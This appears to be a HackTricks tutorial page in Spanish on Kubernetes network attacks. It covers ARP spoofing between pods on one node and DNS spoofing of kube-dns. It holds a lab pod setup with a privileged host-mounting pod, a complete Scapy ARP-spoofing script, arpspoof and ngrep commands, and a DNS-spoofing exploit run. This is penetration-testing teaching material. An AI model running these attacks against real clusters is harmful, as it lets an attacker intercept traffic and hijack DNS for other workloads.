Kubernetes Network Attacks

Support HackTricks

Introducción

En Kubernetes, se observa que un comportamiento predeterminado permite el establecimiento de conexiones entre todos los contenedores que residen en el mismo nodo. Esto se aplica independientemente de las distinciones de espacio de nombres. Tal conectividad se extiende hasta Capa 2 (Ethernet). En consecuencia, esta configuración expone potencialmente al sistema a vulnerabilidades. Específicamente, abre la posibilidad de que un contenedor malicioso ejecute un ataque de suplantación ARP contra otros contenedores situados en el mismo nodo. Durante tal ataque, el contenedor malicioso puede interceptar o modificar engañosamente el tráfico de red destinado a otros contenedores.

Los ataques de suplantación ARP implican que el atacante envía mensajes ARP falsificados (Protocolo de Resolución de Direcciones) a través de una red de área local. Esto resulta en la vinculación de la dirección MAC del atacante con la dirección IP de una computadora o servidor legítimo en la red. Después de la ejecución exitosa de tal ataque, el atacante puede interceptar, modificar o incluso detener datos en tránsito. El ataque se ejecuta en la Capa 2 del modelo OSI, razón por la cual la conectividad predeterminada en Kubernetes en esta capa plantea preocupaciones de seguridad.

En el escenario se van a crear 4 máquinas:

  • ubuntu-pe: Máquina privilegiada para escapar al nodo y verificar métricas (no necesaria para el ataque)

  • ubuntu-attack: Contenedor malicioso en el espacio de nombres predeterminado

  • ubuntu-victim: Máquina víctima en el espacio de nombres kube-system

  • mysql: Máquina víctima en el espacio de nombres predeterminado

echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Redes Básicas de Kubernetes

Si deseas más detalles sobre los temas de redes introducidos aquí, consulta las referencias.

ARP

Hablando en términos generales, la red de pod a pod dentro del nodo está disponible a través de un puente que conecta todos los pods. Este puente se llama “cbr0”. (Algunos complementos de red instalarán su propio puente.) El cbr0 también puede manejar ARP (Protocolo de Resolución de Direcciones). Cuando un paquete entrante llega a cbr0, puede resolver la dirección MAC de destino utilizando ARP.

Este hecho implica que, por defecto, cada pod que se ejecuta en el mismo nodo podrá comunicarse con cualquier otro pod en el mismo nodo (independientemente del espacio de nombres) a nivel de ethernet (capa 2).

Por lo tanto, es posible realizar ataques de ARP Spoofing entre pods en el mismo nodo.

DNS

En entornos de kubernetes, generalmente encontrarás 1 (o más) servicios DNS en ejecución usualmente en el espacio de nombres kube-system:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

En la información anterior puedes ver algo interesante, la IP del servicio es 10.96.0.10 pero la IP del pod que ejecuta el servicio es 172.17.0.2.

Si verificas la dirección DNS dentro de cualquier pod, encontrarás algo como esto:

cat /etc/resolv.conf
nameserver 10.96.0.10

Sin embargo, el pod no sabe cómo llegar a esa dirección porque el rango de pods en este caso es 172.17.0.10/26.

Por lo tanto, el pod enviará las solicitudes DNS a la dirección 10.96.0.10 que será traducida por el cbr0 a 172.17.0.2.

Esto significa que una solicitud DNS de un pod siempre va a ir al puente para traducir la IP del servicio a la IP del endpoint, incluso si el servidor DNS está en la misma subred que el pod.

Sabiendo esto, y sabiendo que los ataques ARP son posibles, un pod en un nodo podrá interceptar el tráfico entre cada pod en la subred y el puente y modificar las respuestas DNS del servidor DNS (DNS Spoofing).

Además, si el servidor DNS está en el mismo nodo que el atacante, el atacante puede interceptar todas las solicitudes DNS de cualquier pod en el clúster (entre el servidor DNS y el puente) y modificar las respuestas.

Suplantación ARP en pods en el mismo Nodo

Nuestro objetivo es robar al menos la comunicación del ubuntu-victim al mysql.

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

Como ya se mencionó, si comprometes un pod en el mismo nodo del pod del servidor DNS, puedes MitM con ARPSpoofing el puente y el pod DNS y modificar todas las respuestas DNS.

Tienes una muy buena herramienta y tutorial para probar esto en https://github.com/danielsagi/kube-dnsspoof/

En nuestro escenario, descarga la herramienta en el pod atacante y crea un **archivo llamado hosts ** con los dominios que deseas spoof como:

cat hosts
google.com. 1.1.1.1

Realiza el ataque a la máquina ubuntu-victim:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

Si intentas crear tu propio script de suplantación de DNS, si solo modificas la respuesta de DNS eso no va a funcionar, porque la respuesta va a tener una IP de origen la dirección IP del pod malicioso y no será aceptada. Necesitas generar un nuevo paquete DNS con la IP de origen del DNS donde la víctima envía la solicitud DNS (que es algo como 172.16.0.2, no 10.96.0.10, esa es la IP del servicio DNS de K8s y no la IP del servidor DNS, más sobre esto en la introducción).

Capturando Tráfico

La herramienta Mizu es un simple pero poderoso visor de tráfico API para Kubernetes que te permite ver toda la comunicación API entre microservicios para ayudarte a depurar y solucionar regresiones. Instalará agentes en los pods seleccionados y recopilará su información de tráfico y te la mostrará en un servidor web. Sin embargo, necesitarás altos permisos de K8s para esto (y no es muy sigiloso).

Referencias

Apoya a HackTricks

Last updated